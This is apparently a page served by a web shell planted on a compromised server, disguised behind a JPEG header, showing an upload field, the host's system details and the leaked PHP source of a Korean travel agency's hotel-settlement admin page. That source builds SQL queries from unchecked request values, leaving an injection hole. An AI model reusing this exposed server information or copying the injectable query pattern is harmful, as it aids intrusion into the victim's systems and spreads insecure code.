ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/toadmin/cal_hotel/ |
Upload File : |
<? include "../include/top.html"; include "_common.html"; $class_AccountCustomer = new AccountCustomer(); if(!$date_s) $date_s="room_date"; if(!$d_start_s1) $d_start_s1 = date("Y-m-")."01"; // 기간 검색 if(!$d_start_s2) $d_start_s2 = date("Y-m-d",strtotime(" +4 month")); // 기간 검색 $class_HotelReserv = new HotelReserv(); //테이블명 $table = "TB_RES_HOTEL"; // 항공사 목록 $airticket_data = to_airticket_airline(); // 검색 설정 $sql_where = " "; if ( $d_start_s1 and $d_start_s2 ) $sql_where .= " and a.{$date_s}>= '{$d_start_s1}' and a.{$date_s}<='{$d_start_s2}' ";// 입실일 // 리스트 수 가져옴 $sql = "select count(*) as total from TB_RES_HOTEL a, "; $sql .= " ( SELECT d1.*,d2.pgcase_cd "; $sql .= " FROM TB_RES_HOTEL AS d1 "; $sql .= " LEFT JOIN (SELECT res_no,pgcase_cd,delflag FROM TB_ACCOUNT_CUSTOMER WHERE pgcase_cd IN ('inst001','inst002') ) d2 "; $sql .= " ON d1.res_no=d2.res_no AND d2.delflag='N' "; $sql .= ") b "; $sql .= " where a.res_no=b.res_no {$sql_where} "; $row = db_fetch($sql); $total = $row[total]; // 페이지수 설정 if (!$page) $page = 1; // 페이지 번호 $line = 50; // 보여줄 갯수 $list = 10; // 블럭 갯수 $total_page = ceil($total / $line); // 총페이지 if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1 if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈 $total_list = intval($total_page / $list); if ($total_page % $list == 0) $total_list--; $curr_list = intval($page / $list); if ($page % $list == 0) $curr_list--; $start_page = $curr_list * $list + 1; $prev_list = $start_page - $list; $next_list = $start_page + $list; $olds = $line * ($page - 1); // 정렬 설정 $sql_order=""; $limit = " $olds , $line "; //배열에 저장 $data = array(); $data = $class_HotelReserv->res_hotel_master(str_replace("a.","",$sql_where),$sql_order,$limit); ?> <div class="contents_wrap"> <div class="contents_wrap_in"> <div class="title"><strong>정산조회</strong></div> <div class="contents_detail"> <!-- 폼 --> <form name="frm_search" id="frm_search" method="get"> <div class="c_top_bar"> <ul class="c_top_search"> <li> <select name="date_s"> <option value="room_date" <?=($date_s=="room_date")?"selected":""?>>입실일</option> <option value="ins_dt" <?=($date_s=="ins_dt")?"selected":""?>>예약일</option> </select> </li> <li> <input type="text" name="d_start_s1" class="cal_input" value="<?=$d_start_s1?>" onclick="AjaxCal(this,event);" readonly> ~ <input type="text" name="d_start_s2" class="cal_input" value="<?=$d_start_s2?>" onclick="AjaxCal(this,event);" readonly> </li> <li class="pl10"> <input type="image" src="../image/btn/btn_search.gif" align="top" alt="검색" class="input_btn_search" /> </li> </ul> </div> </form> <!-- /폼 --> <div id="Content_box"> <!-- 폼 --> <h2 class="mt30"></h2> <table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_list"> <colgroup> <col width="40px" /> <col width="60px" /> <col width="50px" /> <col width="60px" /> <col /> <col width="90px" /> <col width="60px"/> <col width="80px" /> <col width="80px" /> <col width="80px" /> <col width="80px" /> <col width="80px" /> <col width="65px" /> <col width="50px" /> </colgroup> <thead> <tr> <th>No.</th> <th>예약상태</th> <th>입금상태</th> <th>예약자</th> <th>호텔명/룸타입</th> <th>입실일</th> <th>박수/룸수</th> <th>판매액</th> <th>입금액</th> <th>총비용</th> <th>수수료수익</th> <th>총수익</th> <th>담당자</th> <th>-</th> </tr> </thead> <tbody> <? // 합계액 리셋 $gnd_sales = 0; $gnd_pay = 0; $gnd_exes = 0; $gnd_comm = 0; $gnd_incom = 0; $gnd_d_people2 = 0; $gnd_d_people1 = 0; for($i=0 ; $i < count($data) ; $i++) { $row = $class_HotelReserv->res_hotel_master_replace($data[$i]); $num = $total - ($page - 1) * $line - $i; // 합계 $gnd_sales += $row['price_total']; $gnd_pay += $row['account']['pay_money']; // 예약확정, 미납요금이 '0' 이면 정산가능 $button_acc = ""; $acc_data = array(); if ( $row['res_stat_cd'] == "C" ) { $button_acc = "<input type='button' class='btn_orange_left' value='정산' "; $button_acc .= " onclick=\"to_dialog.iframe('hotel_cal_res.html?res_no={$row[res_no]}','개별정산 - {$row[res_no]}','900','500',true,true,'yes');\" "; $button_acc .="><span class='btn_orange_right'></span>"; // 정산정보 $acc_data = $class_AccountCustomer->acc_hotel_date($row['res_no']); // 합계 $gnd_exes += $acc_data['calu']['exes_tot'] ; $gnd_comm += $acc_data['calu']['comm_tot'] ; $gnd_incom += $acc_data['calu']['incom_tot'] ; } ?> <tr> <td><?=$num?></td> <td><font color="<?=$row['res_stat_color']?>"><?=$row['res_stat_str']?></font></td> <td><?=$row['res_mrecv_str']?></td> <td><?=$row['res_cust_nm']?></td> <td class="txt_l t_title" title="<?=$row['hnm']?>"><a href="javascript:;" onclick="to_dialog.iframe('../res_hotel/hotelResView.html?res_no=<?=$row['res_no']?>','호텔예약 수정 - <?=$row['res_no']?>','1200','700',true,true,'yes');"><strong><?=$row['hnm']?></strong><br /><?=$row['rnm']?></a></td> <td><?=$row['room_date']?></td> <td><?=$row['room_day']?>/<?=$row['room_cnt']?></td> <td class="txt_r ls-1"><?=number_format($row['sales_total'])?></td> <td class="txt_r ls-1"><?=number_format($row['account']['pay_money'])?></td> <td class="txt_r ls-1"><?=number_format($acc_data['calu']['exes_tot'])?></td><!-- 총비용 --> <td class="txt_r ls-1"><?=number_format($acc_data['calu']['comm_tot'])?></td><!-- 수수료수익 --> <td class="txt_r ls-1"><?=number_format($acc_data['calu']['incom_tot'])?></td><!-- 총수익 --> <td><?=$row['admin_nm']?></td> <td><input type='button' class='Table_btn' value='정산' "; onclick="to_dialog.iframe('hotel_cal_res.html?res_no=<?=$row[res_no]?>','개별정산 - <?=$row[res_no]?>','900','500',true,true,'yes');" ></td> </tr> <? } ?> </tbody> </table> <? echo adm_get_paging($total_page, $page, $list, "?$bhref&page=", ""); ?> </div> </div> </div> </div> </div> <script type="text/javascript"> var res_ticket_num,res_air_num; $(document).ready(function(){ $(".mouse_over").bind({ mouseover:function(e){ $(this).css({"background-color":"#D7D7D7","cursor":"pointer"}); }, mouseout:function(e){ $(this).css("background-color","#FFFFFF"); } }); }); </script> <? include "../include/footer.html" ?>